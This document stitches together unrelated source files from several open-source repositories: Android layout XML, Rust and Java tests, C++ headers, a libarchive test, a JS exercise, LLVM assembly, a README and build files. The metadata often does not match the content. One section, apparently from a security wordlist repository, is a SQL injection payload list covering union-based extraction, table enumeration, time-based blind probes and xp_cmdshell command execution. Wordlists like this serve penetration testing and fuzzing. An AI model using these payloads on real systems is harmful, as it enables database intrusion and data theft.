<?xml version="1.0" encoding="utf-8"?>
<android.support.constraint.ConstraintLayout
    xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    android:id="@+id/fragmentContainer"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    app:layout_behavior="@string/appbar_scrolling_view_behavior"
    tools:context=".MainActivity"
    tools:showIn="@layout/activity_main">

</android.support.constraint.ConstraintLayout>

{'repo_name': 'enbandari/TieGuanYin', 'stars': '105', 'repo_language': 'Kotlin', 'file_name': 'FieldBuilder.kt', 'mime_type': 'text/plain', 'hash': -605398025704691670, 'source_dataset': 'data'}


#![cfg_attr(
    feature = "dev",
    allow(dead_code, unused_variables, unused_imports, unreachable_code)
)]
#![cfg_attr(feature = "ci", deny(warnings))]
#![deny(clippy::all)]

use crate::utils::{test_run, Expect};
use scriptkeeper::R;

#[test]
fn relays_stdout_from_the_tested_script_to_the_user() -> R<()> {
    test_run(
        r"
            |#!/usr/bin/env bash
            |echo foo
        ",
        r"
            |tests:
            |  - steps: []
        ",
        Expect::tests_pass().with_stdout("foo\nAll tests passed.\n"),
    )?;
    Ok(())
}

#[test]
fn relays_stderr_from_the_tested_script_to_the_user() -> R<()> {
    test_run(
        r"
            |#!/usr/bin/env bash
            |echo foo 1>&2
        ",
        r"
            |tests:
            |  - steps: []
        ",
        Expect::tests_pass().with_stderr("foo\n"),
    )?;
    Ok(())
}

mod expected_stdout {
    use super::*;

    #[test]
    fn fails_when_not_matching() -> R<()> {
        test_run(
            r"
                |#!/usr/bin/env bash
                |echo bar
            ",
            r#"
                |tests:
                |  - steps: []
                |    stdout: "foo\n"
            "#,
            Expect::error_message(
                r#"
                    |bar
                    |error:
                    |  expected output to stdout: "foo\n"
                    |  received output to stdout: "bar\n"
                "#,
            )?,
        )?;
        Ok(())
    }

    #[test]
    fn passes_when_matching() -> R<()> {
        test_run(
            r"
                |#!/usr/bin/env bash
                |echo foo
            ",
            r#"
                |tests:
                |  - steps: []
                |    stdout: "foo\n"
            "#,
            Expect::tests_pass().with_stdout("foo\nAll tests passed.\n"),
        )?;
        Ok(())
    }

    #[test]
    fn fails_when_expecting_stdout_but_none_printed() -> R<()> {
        test_run(
            r"
                |#!/usr/bin/env bash
            ",
            r#"
                |tests:
                |  - steps: []
                |    stdout: "foo\n"
            "#,
            Expect::error_message(
                r#"
                    |error:
                    |  expected output to stdout: "foo\n"
                    |  received output to stdout: ""
                "#,
            )?,
        )?;
        Ok(())
    }

    #[test]
    fn passes_when_stdout_not_specified_and_script_writes_to_stdout() -> R<()> {
        test_run(
            r"
                |#!/usr/bin/env bash
                |echo foo
            ",
            r#"
                |tests:
                |  - steps: []
            "#,
            Expect::tests_pass().with_stdout("foo\nAll tests passed.\n"),
        )?;
        Ok(())
    }
}

mod expected_stderr {
    use super::*;

    #[test]
    fn fails_when_not_matching() -> R<()> {
        test_run(
            r"
                |#!/usr/bin/env bash
                |echo bar 1>&2
            ",
            r#"
                |tests:
                |  - steps: []
                |    stderr: "foo\n"
            "#,
            Expect::error_message(
                r#"
                    |error:
                    |  expected output to stderr: "foo\n"
                    |  received output to stderr: "bar\n"
                "#,
            )?
            .with_stderr("bar\n"),
        )?;
        Ok(())
    }

    #[test]
    fn passes_when_matching() -> R<()> {
        test_run(
            r"
                |#!/usr/bin/env bash
                |echo foo 1>&2
            ",
            r#"
                |tests:
                |  - steps: []
                |    stderr: "foo\n"
            "#,
            Expect::tests_pass().with_stderr("foo\n"),
        )?;
        Ok(())
    }

    #[test]
    fn fails_when_expecting_stderr_but_none_printed() -> R<()> {
        test_run(
            r"
                |#!/usr/bin/env bash
            ",
            r#"
                |tests:
                |  - steps: []
                |    stderr: "foo\n"
            "#,
            Expect::error_message(
                r#"
                    |error:
                    |  expected output to stderr: "foo\n"
                    |  received output to stderr: ""
                "#,
            )?,
        )?;
        Ok(())
    }

    #[test]
    fn passes_when_stderr_not_specified_and_script_writes_to_stderr() -> R<()> {
        test_run(
            r"
                |#!/usr/bin/env bash
                |echo foo 1>&2
            ",
            r#"
                |tests:
                |  - steps: []
            "#,
            Expect::tests_pass().with_stderr("foo\n"),
        )?;
        Ok(())
    }
}

{'repo_name': 'Originate/scriptkeeper', 'stars': '107', 'repo_language': 'Rust', 'file_name': 'config.yml', 'mime_type': 'text/plain', 'hash': 6326384449522932006, 'source_dataset': 'data'}


' or 1=1 --
' union (select NULL, (select @@version)) --
' union (select NULL, NULL, (select @@version)) --
' union (select NULL, NULL, NULL,  (select @@version)) --
' union (select NULL, NULL, NULL, NULL,  (select @@version)) --
' union (select NULL, NULL, NULL, NULL,  NULL, (select @@version)) --
1 and user_name() = 'dbo'
\'; desc users; --
1\'1
1' and non_existant_table = '1
' or username is not NULL or username = '
1 and ascii(lower(substring((select top 1 name from sysobjects where xtype='u'), 1, 1))) > 116
1 union all select 1,2,3,4,5,6,name from sysobjects where xtype = 'u' --
1 uni/**/on select all from where
a' --
a' or 1=1; --
@
?
' and 1=0) union all
? or 1=1 --
x' and userid is NULL; --
x' and email is NULL; --
anything' or 'x'='x
x' and 1=(select count(*) from tabname); --
x' and members.email is NULL; --
x' or full_name like '%bob%
23 or 1=1; --
'; exec master..xp_cmdshell 'ping aaa.bbb.ccc.ddd'--
'; if not(substring((select @@version),25,1) <> 0) waitfor delay '0:0:2' --
'; if not(substring((select @@version),25,1) <> 5) waitfor delay '0:0:2' --
'; if not(substring((select @@version),25,1) <> 8) waitfor delay '0:0:2' --
'; if not(substring((select @@version),24,1) <> 1) waitfor delay '0:0:2' --
'; if not(select system_user) <> 'sa' waitfor delay '0:0:2' --
'; if is_srvrolemember('sysadmin') > 0 waitfor delay '0:0:2' --
'; if not((select serverproperty('isintegratedsecurityonly')) <> 1) waitfor delay '0:0:2' --
'; if not((select serverproperty('isintegratedsecurityonly')) <> 0) waitfor delay '0:0:2' --

{'repo_name': 'decal/werdlists', 'stars': '193', 'repo_language': 'HTML', 'file_name': 'secureblackbox-activex-control.html', 'mime_type': 'text/plain', 'hash': -388587927889807617, 'source_dataset': 'data'}


#pragma once

#include "esphome/core/component.h"
#include "esphome/components/spi/spi.h"
#include "esphome/components/display/display_buffer.h"

namespace esphome {
namespace pcd8544 {

class PCD8544 : public PollingComponent,
                public display::DisplayBuffer,
                public spi::SPIDevice<spi::BIT_ORDER_MSB_FIRST, spi::CLOCK_POLARITY_HIGH, spi::CLOCK_PHASE_TRAILING,
                                      spi::DATA_RATE_8MHZ> {
 public:
  const uint8_t PCD8544_POWERDOWN = 0x04;
  const uint8_t PCD8544_ENTRYMODE = 0x02;
  const uint8_t PCD8544_EXTENDEDINSTRUCTION = 0x01;

  const uint8_t PCD8544_DISPLAYBLANK = 0x0;
  const uint8_t PCD8544_DISPLAYNORMAL = 0x4;
  const uint8_t PCD8544_DISPLAYALLON = 0x1;
  const uint8_t PCD8544_DISPLAYINVERTED = 0x5;

  const uint8_t PCD8544_FUNCTIONSET = 0x20;
  const uint8_t PCD8544_DISPLAYCONTROL = 0x08;
  const uint8_t PCD8544_SETYADDR = 0x40;
  const uint8_t PCD8544_SETXADDR = 0x80;

  const uint8_t PCD8544_SETTEMP = 0x04;
  const uint8_t PCD8544_SETBIAS = 0x10;
  const uint8_t PCD8544_SETVOP = 0x80;

  void set_dc_pin(GPIOPin *dc_pin) { this->dc_pin_ = dc_pin; }
  void set_reset_pin(GPIOPin *reset) { this->reset_pin_ = reset; }
  float get_setup_priority() const override { return setup_priority::PROCESSOR; }

  void command(uint8_t value);
  void data(uint8_t value);

  void initialize();
  void dump_config() override;
  void HOT display();

  void update() override;

  void fill(Color color) override;

  void setup() override {
    this->setup_pins_();
    this->initialize();
  }

 protected:
  void draw_absolute_pixel_internal(int x, int y, Color color) override;

  void setup_pins_();

  void init_reset_();

  size_t get_buffer_length_();

  void start_command_();
  void end_command_();
  void start_data_();
  void end_data_();

  int get_width_internal() override;
  int get_height_internal() override;

  GPIOPin *reset_pin_;
  GPIOPin *dc_pin_;
};

}  // namespace pcd8544
}  // namespace esphome

{'repo_name': 'esphome/esphome', 'stars': '1946', 'repo_language': 'C++', 'file_name': 'devcontainer.json', 'mime_type': 'text/plain', 'hash': 310638702036931732, 'source_dataset': 'data'}


/*-
 * Copyright (c) 2010 Michihiro NAKAJIMA
 * Copyright (c) 2003-2007 Tim Kientzle
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 */
#include "test.h"
__FBSDID("$FreeBSD$");

static unsigned char archive[] = {
 76, 90, 73, 80,  1, 12,  0, 99,156, 62,160, 67,124,230, 93,220,
235,118, 29, 75, 27,226,158, 67,149,151, 96, 22, 54,198,209, 63,
104,209,148,249,238, 71,187,201,243,162,  1, 42, 47, 43,178, 35,
 90,  6,156,208, 74,107, 91,229,126,  5, 85,255,136,255, 64,  0,
170,199,228,195,  0,  2,  0,  0,  0,  0,  0,  0, 84,  0,  0,  0,
  0,  0,  0,  0
};

DEFINE_TEST(test_read_format_cpio_bin_lzip)
{
	struct archive_entry *ae;
	struct archive *a;
	int r;

	assert((a = archive_read_new()) != NULL);
	assertEqualIntA(a, ARCHIVE_OK, archive_read_support_filter_all(a));
	r = archive_read_support_filter_lzip(a);
	if (r == ARCHIVE_WARN) {
		skipping("lzip reading not fully supported on this platform");
		assertEqualInt(ARCHIVE_OK, archive_read_free(a));
		return;
	}
	assertEqualIntA(a, ARCHIVE_OK, archive_read_support_format_all(a));
	assertEqualIntA(a, ARCHIVE_OK,
	    archive_read_open_memory(a, archive, sizeof(archive)));
	assertEqualIntA(a, ARCHIVE_OK, archive_read_next_header(a, &ae));
	assertEqualInt(archive_entry_is_encrypted(ae), 0);
	assertEqualIntA(a, archive_read_has_encrypted_entries(a), ARCHIVE_READ_FORMAT_ENCRYPTION_UNSUPPORTED);
	assertEqualInt(archive_filter_code(a, 0), ARCHIVE_FILTER_LZIP);
	assertEqualInt(archive_format(a), ARCHIVE_FORMAT_CPIO_BIN_LE);
	assertEqualIntA(a, ARCHIVE_OK, archive_read_close(a));
	assertEqualInt(ARCHIVE_OK, archive_read_free(a));
}

{'repo_name': 'libarchive/libarchive', 'stars': '1306', 'repo_language': 'C', 'file_name': 'test_read_format_cpio_filename_utf8_ru.cpio.uu', 'mime_type': 'text/plain', 'hash': 3439742031191668653, 'source_dataset': 'data'}


*题目：一个列表，每个列表后面有个删除按钮，点击相应的删除按钮就可以删除相应的列表的其中一行，并且要以面向对象的方式实现。
*题目知识点：闭包，构造函数与原型。

*以下是静静的代码

     ```javascript
        var oUl = document.getElementById('J_List');
        var oLi = oUl.children;
        var oLength = oLi.length;
        for (var i = 0; i < oLength; i++) {
            oLi[i].onclick = function(e){
                e = e || window.event;
                var el = e.srcElement;
                if (el.className == 'user-delete') {
                    removeLi(el);
              }
            }
          }
        function removeLi(node){
            node.parentNode.parentNode.removeChild(node.parentNode);
          }
     ```

     *效果：通过
     *知识点：闭包、事件代理

     *虽然没有用题目中指出的用构造函数和原型，希望借此抛砖引玉，我也继续研究用上构造函数和原型来实现功能

{'repo_name': 'wsdo/fetiku', 'stars': '157', 'repo_language': 'None', 'file_name': 'README.md', 'mime_type': 'text/plain', 'hash': -5594528496639277339, 'source_dataset': 'data'}


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=9"/>
<meta name="generator" content="Doxygen 1.8.10"/>
<title>0.9.8: matrix_query.hpp Source File</title>
<link href="tabs.css" rel="stylesheet" type="text/css"/>

<link href="doxygen.css" rel="stylesheet" type="text/css" />

0.9.8

Main Page

Modules

Files

File List

D:

Source

G-Truc

glm

glm

gtx

matrix_query.hpp

Go to the documentation of this file.

    1

   14 #pragma once

   15

   16 // Dependency:

   17 #include "../glm.hpp"

   18 #include "../gtx/vector_query.hpp"

   19 #include <limits>

   20

   21 #if GLM_MESSAGES == GLM_MESSAGES_ENABLED && !defined(GLM_EXT_INCLUDED)

   22 #       pragma message("GLM: GLM_GTX_matrix_query extension included")

   23 #endif

   24

   25 namespace glm

   26 {

   29

   32         template<typename T, precision P>

   33         GLM_FUNC_DECL bool isNull(tmat2x2<T, P> const & m, T const & epsilon);

   34

   37         template<typename T, precision P>

   38         GLM_FUNC_DECL bool isNull(tmat3x3<T, P> const & m, T const & epsilon);

   39

   42         template<typename T, precision P>

   43         GLM_FUNC_DECL bool isNull(tmat4x4<T, P> const & m, T const & epsilon);

   44

   47         template<typename T, precision P, template <typename, precision> class matType>

   48         GLM_FUNC_DECL bool isIdentity(matType<T, P> const & m, T const & epsilon);

   49

   52         template<typename T, precision P>

   53         GLM_FUNC_DECL bool isNormalized(tmat2x2<T, P> const & m, T const & epsilon);

   54

   57         template<typename T, precision P>

   58         GLM_FUNC_DECL bool isNormalized(tmat3x3<T, P> const & m, T const & epsilon);

   59

   62         template<typename T, precision P>

   63         GLM_FUNC_DECL bool isNormalized(tmat4x4<T, P> const & m, T const & epsilon);

   64

   67         template<typename T, precision P, template <typename, precision> class matType>

   68         GLM_FUNC_DECL bool isOrthogonal(matType<T, P> const & m, T const & epsilon);

   69

   71 }//namespace glm

   72

   73 #include "matrix_query.inl"

glm::epsilon

GLM_FUNC_DECL GLM_CONSTEXPR genType epsilon()

Return the epsilon constant for floating point types.

glm::isNull

GLM_FUNC_DECL bool isNull(tmat4x4< T, P > const &m, T const &epsilon)

Return whether a matrix is a null matrix.

glm

Definition: _noise.hpp:11

glm::isIdentity

GLM_FUNC_DECL bool isIdentity(matType< T, P > const &m, T const &epsilon)

Return whether a matrix is an identity matrix.

glm::isNormalized

GLM_FUNC_DECL bool isNormalized(tmat4x4< T, P > const &m, T const &epsilon)

Return whether a matrix is a normalized matrix.

glm::isOrthogonal

GLM_FUNC_DECL bool isOrthogonal(matType< T, P > const &m, T const &epsilon)

Return whether a matrix is an orthonormalized matrix.

<address class="footer">
Generated by

 1.8.10
</address>

{'repo_name': 'Project-10/DGM', 'stars': '143', 'repo_language': 'C++', 'file_name': 'DGMConfig.cmake.in', 'mime_type': 'text/plain', 'hash': 4205060399226735563, 'source_dataset': 'data'}


# This test verifies that an empty range list in the .debug_ranges section
# doesn't crash dsymutil. As clang does not produce this kind of debug
# info anymore, we used this hand-crafted assembly file to produce a testcase
# Compile with:
#        llvm-mc -triple x86_64-apple-darwin -filetype=obj -o 1.o empty_range.o

# RUN: dsymutil -f -y %p/dummy-debug-map.map -oso-prepend-path %p/../Inputs/empty_range -o - | llvm-dwarfdump -debug-info - | FileCheck %s

        .section	__TEXT,__text,regular,pure_instructions
	.macosx_version_min 10, 11
	.globl	__Z3foov
	.align	4, 0x90
__Z3foov:                               ## @_Z3foov
Lfunc_begin0:
	pushq	%rbp
	movq	%rsp, %rbp
	popq	%rbp
	retq
Lfunc_end0:
	.section	__DWARF,__debug_abbrev,regular,debug
Lsection_abbrev:
	.byte	1                       ## Abbreviation Code
	.byte	17                      ## DW_TAG_compile_unit
	.byte	1                       ## DW_CHILDREN_yes
	.byte	0                       ## EOM(1)
	.byte	0                       ## EOM(2)
	.byte	2                       ## Abbreviation Code
	.byte	46                      ## DW_TAG_subprogram
	.byte	0                       ## DW_CHILDREN_no
	.byte	17                      ## DW_AT_low_pc
	.byte	1                       ## DW_FORM_addr
        .byte   0x55                    ## DW_AT_ranges
        .byte   6                       ## DW_FORM_data4
	.byte	0                       ## EOM(1)
	.byte	0                       ## EOM(2)
	.byte	0                       ## EOM(3)
	.section	__DWARF,__debug_info,regular,debug
Lsection_info:
	.long	22                      ## Length of Unit
	.short	2                       ## DWARF version number
	.long	0                       ## Offset Into Abbrev. Section
	.byte	8                       ## Address Size (in bytes)
	.byte	1                       ## Abbrev [1]  DW_TAG_compile_unit
	.byte	2                       ## Abbrev [2] DW_TAG_subprogram
	.quad	Lfunc_begin0            ## DW_AT_low_pc
        .long   0                       ## DW_AT_ranges (pointing at an empty entry)
	.byte	0                       ## End Of Children Mark
	.section	__DWARF,__debug_ranges,regular,debug
Ldebug_range:
        .long 0
        .long 0

# CHECK:  DW_TAG_compile_unit
# CHECK:    DW_TAG_subprogram
# CHECK-NEXT:      DW_AT_low_pc{{.*}}(0x0000000000010000)
# CHECK-NEXT:      DW_AT_ranges{{.*}}(0x00000000)

# There was a bug that would use the currently active object file when a
# debug map object isn't found. Check that we only linked one file.
# CHECK-NOT: DW_TAG_compile_unit

{'repo_name': 'earl/llvm-mirror', 'stars': '122', 'repo_language': 'LLVM', 'file_name': 'registers_readonly.s', 'mime_type': 'text/plain', 'hash': 1520498548527735557, 'source_dataset': 'data'}


/*
 * Copyright 2013 Nicolas Morel
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

package com.github.nmorel.gwtjackson.jackson.advanced.identity;

import com.github.nmorel.gwtjackson.jackson.AbstractJacksonTest;
import com.github.nmorel.gwtjackson.shared.advanced.identity.ObjectIdSerializationTester;
import com.github.nmorel.gwtjackson.shared.advanced.identity.ObjectIdSerializationTester.AlwaysContainer;
import com.github.nmorel.gwtjackson.shared.advanced.identity.ObjectIdSerializationTester.Broken;
import com.github.nmorel.gwtjackson.shared.advanced.identity.ObjectIdSerializationTester.IdWrapper;
import com.github.nmorel.gwtjackson.shared.advanced.identity.ObjectIdSerializationTester.IdWrapperCustom;
import com.github.nmorel.gwtjackson.shared.advanced.identity.ObjectIdSerializationTester.Identifiable;
import com.github.nmorel.gwtjackson.shared.advanced.identity.ObjectIdSerializationTester.IdentifiableWithProp;
import com.github.nmorel.gwtjackson.shared.advanced.identity.ObjectIdSerializationTester.TreeNode;
import org.junit.Test;

/**
 * @author Nicolas Morel
 */
public class ObjectIdSerializationJacksonTest extends AbstractJacksonTest {

    private ObjectIdSerializationTester tester = ObjectIdSerializationTester.INSTANCE;

    @Test
    public void testSimpleSerializationClass() {
        tester.testSimpleSerializationClass( createMapper( Identifiable.class ) );
    }

    @Test
    public void testSimpleSerializationProperty() {
        tester.testSimpleSerializationProperty( createMapper( IdWrapper.class ) );
    }

    @Test
    public void testCustomPropertyForClass() {
        tester.testCustomPropertyForClass( createMapper( IdentifiableWithProp.class ) );
    }

    @Test
    public void testCustomPropertyViaProperty() {
        tester.testCustomPropertyViaProperty( createMapper( IdWrapperCustom.class ) );
    }

    @Test
    public void testAlwaysAsId() {
        tester.testAlwaysAsId( createMapper( AlwaysContainer.class ) );
    }

    @Test
    public void testAlwaysIdForTree() {
        tester.testAlwaysIdForTree( createMapper( TreeNode.class ) );
    }

    @Test
    public void testInvalidProp() {
        tester.testInvalidProp( createMapper( Broken.class ) );
    }
}

{'repo_name': 'nmorel/gwt-jackson', 'stars': '108', 'repo_language': 'Java', 'file_name': 'Apache_2_0.xml', 'mime_type': 'text/plain', 'hash': 6386751063698584767, 'source_dataset': 'data'}


Batch Bundle
============

Batch architecture bundle inspired by Spring Batch.

See http://docs.spring.io/spring-batch/reference/html/domain.html for an explanation of the Domain Language objects you will find.

Based on the [Batch component](https://github.com/akeneo/batch).

[![Build Status](https://api.travis-ci.org/akeneo/BatchBundle.png?branch=master)](https://travis-ci.org/akeneo/BatchBundle)

Akeneo PIM
----------

Originally written to be used in [Akeneo PIM](https://www.akeneo.com/).

This extraction aims to make it usable outside of the Akeneo PIM project.

Please consider that this process is still in a very experimental stage.

We don't have all the tests and automation which could ensure that this component will work smoothly outside of the Akeneo PIM full stack.

Documentation
-------------

Documentation is available on [docs.akeneo.com](http://docs.akeneo.com)

Issues & Contributing
---------------------

This bundle is developed in our [main repository](https://github.com/akeneo/pim-community-dev).

If you encounter any bug, please check if it's [already known](https://github.com/akeneo/pim-community-dev/issues) before to create a new issue.

If you want to contribute (and we will be pleased if you do!), you'll find more information on [this page](http://docs.akeneo.com/latest/contributing/index.html).

About versioning, the version 0.6.x is developed in akeneo/pim-community-dev 1.6.x.

For older versions,
 - akeneo/pim-community-dev 1.1.x uses akeneo/batch-bundle 0.1.x
 - akeneo/pim-community-dev 1.2.x uses akeneo/batch-bundle 0.2.x
 - akeneo/pim-community-dev 1.3.x uses akeneo/batch-bundle 0.3.x
 - akeneo/pim-community-dev 1.4.x uses akeneo/batch-bundle 0.4.x
 - akeneo/pim-community-dev 1.5.x re-integrates this bundle in our main repository

OSL Licence
-----------

Licence can be found [Here](https://github.com/akeneo/pim-community-dev/blob/master/LICENCE.txt).

{'repo_name': 'akeneo/pim-community-dev', 'stars': '719', 'repo_language': 'PHP', 'file_name': 'cell-formatter.js', 'mime_type': 'text/plain', 'hash': 7787484220966765808, 'source_dataset': 'data'}


/******************************************************************************
*                 SOFA, Simulation Open-Framework Architecture                *
*                    (c) 2006 INRIA, USTL, UJF, CNRS, MGH                     *
*                                                                             *
* This program is free software; you can redistribute it and/or modify it     *
* under the terms of the GNU Lesser General Public License as published by    *
* the Free Software Foundation; either version 2.1 of the License, or (at     *
* your option) any later version.                                             *
*                                                                             *
* This program is distributed in the hope that it will be useful, but WITHOUT *
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or       *
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License *
* for more details.                                                           *
*                                                                             *
* You should have received a copy of the GNU Lesser General Public License    *
* along with this program. If not, see <http://www.gnu.org/licenses/>.        *
*******************************************************************************
* Authors: The SOFA Team and external contributors (see Authors.txt)          *
*                                                                             *
* Contact information: contact@sofa-framework.org                             *
******************************************************************************/

// File automatically generated by "generateTypedef"

#ifndef SOFA_TYPEDEF_TopologyObject_double_H
#define SOFA_TYPEDEF_TopologyObject_double_H

//Default files containing the declaration of the vector type
#include <sofa/defaulttype/VecTypes.h>
#include <sofa/defaulttype/RigidTypes.h>
#include <sofa/defaulttype/Mat.h>

#ifdef SOFA_GPU_CUDA
#include <sofa/gpu/cuda/CudaTypes.h>
#endif
#ifdef SOFA_GPU_OPENCL
#include <sofa/gpu/opencl/OpenCLTypes.h>
#endif

#include "ManifoldEdgeSetGeometryAlgorithms.h"
#include "ManifoldEdgeSetTopologyAlgorithms.h"
#include "ManifoldTriangleSetTopologyAlgorithms.h"

//---------------------------------------------------------------------------------------------
//Typedef for ManifoldEdgeSetGeometryAlgorithms
typedef sofa::component::topology::ManifoldEdgeSetGeometryAlgorithms<sofa::defaulttype::StdRigidTypes<3, double> > ManifoldEdgeSetGeometryAlgorithmsRigid3d;
typedef sofa::component::topology::ManifoldEdgeSetGeometryAlgorithms<sofa::defaulttype::StdRigidTypes<2, double> > ManifoldEdgeSetGeometryAlgorithmsRigid2d;
typedef sofa::component::topology::ManifoldEdgeSetGeometryAlgorithms<sofa::defaulttype::StdVectorTypes<sofa::defaulttype::Vec<1, double>, sofa::defaulttype::Vec<1, double>, double> > ManifoldEdgeSetGeometryAlgorithms1d;
typedef sofa::component::topology::ManifoldEdgeSetGeometryAlgorithms<sofa::defaulttype::StdVectorTypes<sofa::defaulttype::Vec<2, double>, sofa::defaulttype::Vec<2, double>, double> > ManifoldEdgeSetGeometryAlgorithms2d;
typedef sofa::component::topology::ManifoldEdgeSetGeometryAlgorithms<sofa::defaulttype::StdVectorTypes<sofa::defaulttype::Vec<3, double>, sofa::defaulttype::Vec<3, double>, double> > ManifoldEdgeSetGeometryAlgorithms3d;

//---------------------------------------------------------------------------------------------
//Typedef for ManifoldEdgeSetTopologyAlgorithms
typedef sofa::component::topology::ManifoldEdgeSetTopologyAlgorithms<sofa::defaulttype::StdRigidTypes<3, double> > ManifoldEdgeSetTopologyAlgorithmsRigid3d;
typedef sofa::component::topology::ManifoldEdgeSetTopologyAlgorithms<sofa::defaulttype::StdRigidTypes<2, double> > ManifoldEdgeSetTopologyAlgorithmsRigid2d;
typedef sofa::component::topology::ManifoldEdgeSetTopologyAlgorithms<sofa::defaulttype::StdVectorTypes<sofa::defaulttype::Vec<1, double>, sofa::defaulttype::Vec<1, double>, double> > ManifoldEdgeSetTopologyAlgorithms1d;
typedef sofa::component::topology::ManifoldEdgeSetTopologyAlgorithms<sofa::defaulttype::StdVectorTypes<sofa::defaulttype::Vec<2, double>, sofa::defaulttype::Vec<2, double>, double> > ManifoldEdgeSetTopologyAlgorithms2d;
typedef sofa::component::topology::ManifoldEdgeSetTopologyAlgorithms<sofa::defaulttype::StdVectorTypes<sofa::defaulttype::Vec<3, double>, sofa::defaulttype::Vec<3, double>, double> > ManifoldEdgeSetTopologyAlgorithms3d;

//---------------------------------------------------------------------------------------------
//Typedef for ManifoldTriangleSetTopologyAlgorithms
typedef sofa::component::topology::ManifoldTriangleSetTopologyAlgorithms<sofa::defaulttype::StdVectorTypes<sofa::defaulttype::Vec<1, double>, sofa::defaulttype::Vec<1, double>, double> > ManifoldTriangleSetTopologyAlgorithms1d;
typedef sofa::component::topology::ManifoldTriangleSetTopologyAlgorithms<sofa::defaulttype::StdVectorTypes<sofa::defaulttype::Vec<2, double>, sofa::defaulttype::Vec<2, double>, double> > ManifoldTriangleSetTopologyAlgorithms2d;
typedef sofa::component::topology::ManifoldTriangleSetTopologyAlgorithms<sofa::defaulttype::StdVectorTypes<sofa::defaulttype::Vec<3, double>, sofa::defaulttype::Vec<3, double>, double> > ManifoldTriangleSetTopologyAlgorithms3d;

#endif

{'repo_name': 'sofa-framework/sofa', 'stars': '360', 'repo_language': 'C++', 'file_name': 'macdeployqt.cmake', 'mime_type': 'text/plain', 'hash': 3219886940669128088, 'source_dataset': 'data'}


# Copyright (c) 2014-2020, The Monero Project
#
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification, are
# permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice, this list of
#    conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice, this list
#    of conditions and the following disclaimer in the documentation and/or other
#    materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors may be
#    used to endorse or promote products derived from this software without specific
#    prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
# EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
# MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL
# THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
# STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF
# THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

set(core_proxy_sources
  core_proxy.cpp)

set(core_proxy_headers
  core_proxy.h)

add_executable(core_proxy
  ${core_proxy_sources}
  ${core_proxy_headers})
target_link_libraries(core_proxy
  PRIVATE
    cryptonote_core
    cryptonote_protocol
    p2p
    version
    epee
    ${CMAKE_THREAD_LIBS_INIT}
    ${EXTRA_LIBRARIES})
set_property(TARGET core_proxy
  PROPERTY
    FOLDER "tests")

{'repo_name': 'sumoprojects/sumokoin', 'stars': '125', 'repo_language': 'C++', 'file_name': 'FindBacktrace.cmake', 'mime_type': 'text/plain', 'hash': -7831106701498430113, 'source_dataset': 'data'}


{'repo_name': 'line/line-bot-sdk-java', 'stars': '449', 'repo_language': 'Java', 'file_name': 'ReplyByReturnValueConsumerTest.java', 'mime_type': 'text/x-java', 'hash': -3791235804463543629, 'source_dataset': 'data'}


#pragma once

#include "baseline.h"
#include "loader.h"

#include <catboost/private/libs/data_util/line_data_reader.h>
#include <catboost/libs/helpers/exception.h>

